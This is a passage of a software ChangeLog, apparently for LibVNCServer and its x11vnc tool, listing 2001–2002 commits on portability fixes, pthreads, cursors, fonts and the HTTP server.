8047 8048 * mac.c: now colour handling should be correct 8049 8050 2002-04-24 dscho <dscho> 8051 8052 * main.c: bug for 3 bpp planes (as Mac OSX) 8053 8054 2002-04-23 dscho <dscho> 8055 8056 * CHANGES, classes/index.vnc, httpd.c, rfbserver.c, sockets.c: sync 8057 with TightVNC 1.2.3 8058 8059 2002-04-23 dscho <dscho> 8060 8061 * Makefile, mac.c: OSXvnc-server compile fixes 8062 8063 2002-04-23 dscho <dscho> 8064 8065 * CHANGES, Makefile, rfb.h: another solaris clean compile 8066 8067 2002-04-23 dscho <dscho> 8068 8069 * x11vnc.c: KBDDEBUG 8070 8071 2002-04-23 dscho <dscho> 8072 8073 * main.c, rfb.h: solaris endian changes 8074 8075 2002-03-04 dscho <dscho> 8076 8077 * Makefile, rfbserver.c, sockets.c: reverted exception fds to NULL, 8078 because of unexpected behaviour 8079 8080 2002-02-19 dscho <dscho> 8081 8082 * CHANGES: changes 8083 8084 2002-02-18 dscho <dscho> 8085 8086 * sockets.c: select exceptfds 8087 8088 2002-02-18 dscho <dscho> 8089 8090 * README, cursor.c, example.c, httpd.c, main.c, rfb.h, rfbserver.c, 8091 sockets.c, tight.c, translate.c: changes from Tim Jansen: threading 8092 issues, new client can be rejected, and more 8093 8094 2002-01-17 dscho <dscho> 8095 8096 * 1instance.c, Makefile: compile warning fix, dependency on 8097 1instance.c 8098 8099 2002-01-17 dscho <dscho> 8100 8101 * mac.c: compile warning fix 8102 8103 2002-01-17 dscho <dscho> 8104 8105 * font.c, rfb.h, rfbproto.h, rfbserver.c, vncauth.c: correct 8106 BackChannel handling, compile cleanups 8107 8108 2002-01-16 dscho <dscho> 8109 8110 * mac.c: compile fix 8111 8112 2002-01-16 dscho <dscho> 8113 8114 * 1instance.c, Makefile, cargs.c, mac.c, rfb.h, rfbproto.h, 8115 rfbserver.c, x11vnc.c: clean ups and encoding "backchannel" 8116 8117 2002-01-14 dscho <dscho> 8118 8119 * mac.c: fixed compile on MAC 8120 8121 2002-01-14 dscho <dscho> 8122 8123 * mac.c: toggle view only with OSX 8124 8125 2002-01-14 dscho <dscho> 8126 8127 * 1instance.c, x11vnc.c: view mode now toggleable 8128 8129 2001-12-21 dscho <dscho> 8130 8131 * mac.c, x11vnc.c: shared mode added 8132 8133 2001-12-14 dscho <dscho> 8134 8135 * cargs.c, main.c: *argc=0 in cargs allowed, when copying area, 8136 first undraw cursor ... 8137 8138 2001-12-11 dscho <dscho> 8139 8140 * mac.c: fixed osx compiling 8141 8142 2001-12-09 dscho <dscho> 8143 8144 * Makefile, mac.c: Makefile cleanup, some special options for OSX 8145 8146 2001-12-09 dscho <dscho> 8147 8148 * x11vnc.c: tile modus now near perfect (shm's better though) 8149 8150 2001-12-08 dscho <dscho> 8151 8152 * x11vnc.c: start to probe single pixels for updates 8153 8154 2001-11-27 dscho <dscho> 8155 8156 * TODO, x11vnc.c: fixed dumb XTestFakeInput bug 8157 8158 2001-11-27 dscho <dscho> 8159 8160 * TODO, x11vnc.c: removed XTestGrabControl. Doesn't really solve the 8161 problem of a bad param. 8162 8163 2001-11-27 dscho <dscho> 8164 8165 * TODO, x11vnc.c: few changes 8166 8167 2001-11-27 dscho <dscho> 8168 8169 * Makefile, x11vnc.c: input works on other X11 servers than XFree86 8170 8171 2001-11-26 dscho <dscho> 8172 8173 * TODO, x11vnc.c: no crash when display was wrong 8174 8175 2001-11-26 dscho <dscho> 8176 8177 * TODO: todo 8178 8179 2001-11-25 dscho <dscho> 8180 8181 * x11vnc.c: init keyboard now takes correct display 8182 8183 2001-11-23 dscho <dscho> 8184 8185 * x11vnc.c: keyboard handling now works. 8186 8187 2001-11-22 dscho <dscho> 8188 8189 * x11vnc.c: added cmd line parameters 8190 8191 2001-11-21 dscho <dscho> 8192 8193 * CHANGES: changes 8194 8195 2001-11-20 dscho <dscho> 8196 8197 * x11vnc.c: shm works again 8198 8199 2001-11-20 dscho <dscho> 8200 8201 * Makefile, x11vnc.c: missing include for XTest 8202 8203 2001-11-19 dscho <dscho> 8204 8205 * x11vnc.c: x11vnc now works with colour maps 8206 8207 2001-11-19 dscho <dscho> 8208 8209 * x11vnc.c: tmp 8210 8211 2001-11-19 dscho <dscho> 8212 8213 * x11vnc.c: first support for colourmaps 8214 8215 2001-11-19 dscho <dscho> 8216 8217 * Makefile, x11vnc.c: works, but loads high 8218 8219 2001-11-19 dscho <dscho> 8220 8221 * cargs.c, main.c, rfb.h: cmdline arg -passwd added 8222 8223 2001-11-19 dscho <dscho> 8224 8225 * Makefile, x11vnc.c: x11vnc now works view only and with SHM 8226 8227 2001-11-18 dscho <dscho> 8228 8229 * Makefile, example.c, main.c, rfb.h, rfbserver.c, x11vnc.c: start 8230 x11vnc, an x0rfbserver clone 8231 8232 2001-11-15 dscho <dscho> 8233 8234 * example.dsp, libvncserver.dsp, libvncserver.dsw, main.c, rfb.h, 8235 rfbserver.c, sockets.c: Visual C++ / win32 compatibility 8236 reestablished 8237 8238 2001-11-14 dscho <dscho> 8239 8240 * Makefile, TODO, font.c: docu, warning fixed 8241 8242 2001-11-14 dscho <dscho> 8243 8244 * CHANGES: changes 8245 8246 2001-11-14 dscho <dscho> 8247 8248 * cargs.c: separated argument handling from main.c 8249 8250 2001-11-14 dscho <dscho> 8251 8252 * Makefile, d3des.h, example.c, fontsel.c, keysym.h, mac.c, main.c, 8253 pnmshow.c, pnmshow24.c, rfb.h, rfbproto.h, sraRegion.h, vncev.c, 8254 zippy.c: changes from Justin, zippy added 8255 8256 2001-11-08 dscho <dscho> 8257 8258 * main.c: gettimeofday for windows 8259 8260 2001-10-25 dscho <dscho> 8261 8262 * Makefile, main.c, rfbserver.c, sraRegion.c, sraRegion.h: clean ups 8263 8264 2001-10-19 dscho <dscho> 8265 8266 * CHANGES: changes 8267 8268 2001-10-18 dscho <dscho> 8269 8270 * Makefile, TODO, draw.c, main.c, rfb.h, vncev.c: add rfbDrawLine, 8271 rfbDrawPixel and vncev, an xev "lookalike" 8272 8273 2001-10-16 dscho <dscho> 8274 8275 * main.c: scheduleCopyRegion no longer sends frameBufferUpdates (no 8276 longer clobbers deferring) 8277 8278 2001-10-16 dscho <dscho> 8279 8280 * CHANGES, TODO, main.c, rfb.h, rfbserver.c: deferUpdate 8281 8282 2001-10-16 dscho <dscho> 8283 8284 * TODO, font.c, rfbserver.c: font errors, requestedRegion bug 8285 8286 2001-10-15 dscho <dscho> 8287 8288 * .gdb_history: unneccessary file 8289 8290 2001-10-13 dscho <dscho> 8291 8292 * font.c: INT_MAX maybe not defined 8293 8294 2001-10-13 dscho <dscho> 8295 8296 * TODO: todo 8297 8298 2001-10-13 dscho <dscho> 8299 8300 * CHANGES, Makefile, README, TODO, auth.c, bdf2c.pl, 8301 consolefont2c.pl, cursor.c, default8x16.h, draw.c, font.c, 8302 fontsel.c, keysym.h, main.c, radon.h, rfb.h, selbox.c: rfbSelectBox, 8303 consoleFonts, too many changes 8304 8305 2001-10-12 dscho <dscho> 8306 8307 * Makefile: changes to Makefile 8308 8309 2001-10-12 dscho <dscho> 8310 8311 * README, rfb.h, rfbserver.c: cleanups 8312 8313 2001-10-11 dscho <dscho> 8314 8315 * auth.c, corre.c, httpd.c, main.c, rfb.h, rfbserver.c, rre.c, 8316 sockets.c, sraRegion.c, tableinit24.c, tableinittctemplate.c, 8317 tight.c, zlib.c: replaced xalloc with malloc functions, udp input 8318 support (untested), fixed http 8319 8320 2001-10-10 dscho <dscho> 8321 8322 * CHANGES, TODO, main.c, rfb.h, rfbserver.c: copyrect corrections, 8323 fd_set in rfbNewClient, dox in rfb.h for pthreads problem 8324 8325 2001-10-10 dscho <dscho> 8326 8327 * Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: 8328 pthreads corrections 8329 8330 2001-10-09 dscho <dscho> 8331 8332 * sockets.c: start udp 8333 8334 2001-10-08 dscho <dscho> 8335 8336 * Makefile, region.h, rfbserver.c: removes region.h 8337 8338 2001-10-07 dscho <dscho> 8339 8340 * Makefile, README, tabletrans24template.c: fixed 24bit (update was 8341 garbled) 8342 8343 2001-10-07 dscho <dscho> 8344 8345 * bdf2c.pl, font.c, main.c, rfb.h, rfbserver.c: font corrections, 8346 displayHook 8347 8348 2001-10-06 dscho <dscho> 8349 8350 * README, d3des.c, example.c, example.dsp, httpd.c, kbdptr.c, 8351 libvncserver.dsp, libvncserver.dsw, main.c, rfb.h, rfbserver.c, 8352 sockets.c, tableinitcmtemplate.c, tight.c, translate.c, vncauth.c: 8353 WIN32 compatibility, removed kbdptr.c 8354 8355 2001-10-05 dscho <dscho> 8356 8357 * CHANGES, TODO, cursor.c, example.c, main.c, rfb.h, rfbserver.c: 8358 changed cursor functions to use screen info, not cursor fixed copy 8359 rect. 8360 8361 2001-10-05 dscho <dscho> 8362 8363 * Makefile, bdf2c.pl, example.c, font.c, radon.h, rfb.h: extracted 8364 font routines from example 8365 8366 2001-10-04 dscho <dscho> 8367 8368 * CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c: 8369 rfbDoCopyRect/Region and rfbScheduleCopyRect/Region. 8370 8371 2001-10-04 dscho <dscho> 8372 8373 * rfb.h: tried to compile on Sparcs. Original cc has problems. ar 8374 isn't there. 8375 8376 2001-10-04 dscho <dscho> 8377 8378 * CHANGES, TODO, cursor.c, main.c, rfb.h, rfbserver.c: fixed 2 8379 pthreads issues, added noXCursor option. 8380 8381 2001-10-03 dscho <dscho> 8382 8383 * TODO, main.c: working on IRIX pthreads problem 8384 8385 2001-10-03 dscho <dscho> 8386 8387 * TODO, rfbserver.c: java viewer bug fixed 8388 8389 2001-10-03 dscho <dscho> 8390 8391 * CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c, sockets.c, 8392 stats.c, tight.c: upgraded to TridiaVNC 1.2.1 8393 8394 2001-10-02 dscho <dscho> 8395 8396 * Makefile, TODO, cursor.c, d3des.c, main.c, rfb.h, rfbserver.c, 8397 sockets.c, translate.c, vncauth.c: no more compile warnings, pthread 8398 final(?) fixes 8399 8400 2001-10-02 dscho <dscho> 8401 8402 * TODO: some todo items 8403 8404 2001-10-02 dscho <dscho> 8405 8406 * CHANGES, cursor.c, rfb.h: implemented rfbSetCursor 8407 8408 2001-10-02 dscho <dscho> 8409 8410 * rfb.h: prototype for rfbSendBell 8411 8412 2001-10-02 dscho <dscho> 8413 8414 * CHANGES: changes 8415 8416 2001-10-02 dscho <dscho> 8417 8418 * pnmshow24.c, tableinit24.c, tabletrans24template.c: forgot files 8419 for 3 bpp 8420 8421 2001-10-02 dscho <dscho> 8422 8423 * Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c, 8424 sockets.c, tableinitcmtemplate.c, translate.c: support for server 8425 side colour maps, fix for non-pthread, support for 3bpp 8426 8427 2001-10-01 dscho <dscho> 8428 8429 * TODO: have to upgrade to newest VNC sources 8430 8431 2001-09-29 dscho <dscho> 8432 8433 * Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c, 8434 sockets.c: finally fixed pthreads 8435 8436 2001-09-29 dscho <dscho> 8437 8438 * TODO, cursor.c: nother try 8439 8440 2001-09-29 dscho <dscho> 8441 8442 * Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: more 8443 pthread debugging 8444 8445 2001-09-29 dscho <dscho> 8446 8447 * Makefile, main.c, rfb.h: cleaned up pthreads (now compiles) and 8448 rfb.h (first undefine TRUE) 8449 8450 2001-09-29 dscho <dscho> 8451 8452 * Makefile, README, TODO, include/X11/X.h, include/X11/Xalloca.h, 8453 include/X11/Xfuncproto.h, include/X11/Xfuncs.h, include/X11/Xmd.h, 8454 include/X11/Xos.h, include/X11/Xosdefs.h, include/X11/Xproto.h, 8455 include/X11/Xprotostr.h, include/X11/keysym.h, 8456 include/X11/keysymdef.h, include/Xserver/colormap.h, 8457 include/Xserver/cursor.h, include/Xserver/dix.h, 8458 include/Xserver/gc.h, include/Xserver/input.h, 8459 include/Xserver/misc.h, include/Xserver/miscstruct.h, 8460 include/Xserver/opaque.h, include/Xserver/os.h, 8461 include/Xserver/pixmap.h, include/Xserver/region.h, 8462 include/Xserver/regionstr.h, include/Xserver/screenint.h, 8463 include/Xserver/scrnintstr.h, include/Xserver/validate.h, 8464 include/Xserver/window.h, main.c, miregion.c, region.h, rfb.h, 8465 rfbserver.c, sraRegion.c, sraRegion.h, translate.c, xalloc.c: 8466 dropped miregion and all the X stuff in favour of Wez' sraRegion, 8467 added dox 8468 8469 2001-09-28 dscho <dscho> 8470 8471 * cursor.c, rfb.h: exported rfbReverseByte 8472 8473 2001-09-28 dscho <dscho> 8474 8475 * cursor.c: don't send a cursor update if there is no cursor 8476 8477 2001-09-28 dscho <dscho> 8478 8479 * README, TODO: small changes to README (contact) and TODO 8480 (autoconf?) 8481 8482 2001-09-28 dscho <dscho> 8483 8484 * Makefile: libvncserver.a is not deleted by make clean 8485 8486 2001-09-28 dscho <dscho> 8487 8488 * example.c: unnecessary include 8489 8490 2001-09-28 dscho <dscho> 8491 8492 * Makefile, example.c, rfb.h: now compiles on FreeBSD 8493 8494 2001-09-28 dscho <dscho> 8495 8496 * Makefile: make clean now cleans mac.o pnmshow.o and example.o 8497 8498 2001-09-27 dscho <dscho> 8499 8500 * README, cursor.c, main.c, rfb.h, rfbserver.c: added 8501 setTranslateFunction as member of rfbScreenInfo, cursor may be NULL 8502 (no cursor). 8503 8504 2001-09-27 dscho <dscho> 8505 8506 * Makefile, mac.c, rfb.h: try to make OSXvnc run again. 8507 8508 2001-09-27 dscho <dscho> 8509 8510 * README, TODO, example.c, main.c, rfb.h: docu and cursors in 8511 examples. 8512 8513 2001-09-26 dscho <dscho> 8514 8515 * Makefile, README, TODO, example.c, httpd.c, main.c, pnmshow.c, 8516 rfb.h: API corrections 8517 8518 2001-09-26 dscho <dscho> 8519 8520 * TODO, main.c, pnmshow.c: adapted pnmshow to aligned width 8521 8522 2001-09-25 dscho <dscho> 8523 8524 * example.c, tabletranstemplate.c: look for align bug with odd 8525 width. Bug in vncviewer? 8526 8527 2001-09-25 dscho <dscho> 8528 8529 * d3des.c, d3des.h, libvncauth/Imakefile, libvncauth/Makefile, 8530 libvncauth/d3des.c, libvncauth/d3des.h, libvncauth/vncauth.c, 8531 libvncauth/vncauth.h, vncauth.c: permanently moved authorization 8532 8533 2001-09-25 dscho <dscho> 8534 8535 * Makefile, rfb.h, storepasswd.c: moved vncauth to libvncserver 8536 8537 2001-09-25 dscho <dscho> 8538 8539 * .depend: rmoved unneccessary files 8540 8541 2001-09-25 dscho <dscho> 8542 8543 * Makefile, TODO, cursor.c, example.c, keysym.h, main.c, pnmshow.c, 8544 region.h, rfb.h, rfbserver.c: fix cursor bug; missing keysym; fix 8545 align problem on SGI; clean up cursor.c clean up rfb.h a bit; endian 8546 issues 8547 8548 2001-09-24 dscho <dscho> 8549 8550 * region.h: forgot file 8551 8552 2001-09-24 dscho <dscho> 8553 8554 * Makefile, TODO, cursor.c, example.c, include/Xserver/os.h, 8555 main.c, miregion.c, pnmshow.c, rfb.h, rfbserver.c, sockets.c, 8556 xalloc.c: bugfix: cursor (works now without xcursor encoding) 8557 8558 2001-09-24 dscho <dscho> 8559 8560 * cursor.c, example.c, main.c, rfb.h, rfbserver.c: cursor changes 8561 8562 2001-09-23 dscho <dscho> 8563 8564 * Makefile, README, TODO, cursor.c, example.c, httpd.c, main.c, 8565 rfb.h, rfbserver.c, sockets.c, zlib.c: cleaned up warnings, cursor 8566 changes 8567 8568 2001-09-21 dscho <dscho> 8569 8570 * Makefile, classes/index.vnc, cursor.c, example.c, httpd.c, 8571 main.c, rfb.h: http added, prepare for cursor 8572 8573 2001-09-20 dscho <dscho> 8574 8575 * README: changed README at last 8576 8577 2001-09-13 dscho <dscho> 8578 8579 * Makefile, bdf2c.pl, example.c, radon.h: Now you can write 8580 something in addition to mouse movements ... 8581 8582 2001-08-14 dscho <dscho> 8583 8584 * Makefile, example.c, main.c, pnmshow.c: comments & new example: 8585 pnmshow 8586 8587 2001-08-14 dscho <dscho> 8588 8589 * example.c, main.c, rfb.h: now lines are drawn for the example, 8590 first steps to make clients independent. 8591 8592 2001-08-14 dscho <dscho> 8593 8594 * Makefile, example.c, main.c, rfb.h, rfbserver.c: hooks inserted 8595 8596 2001-08-01 dscho <dscho> 8597 8598 * Initial revision 8599 8600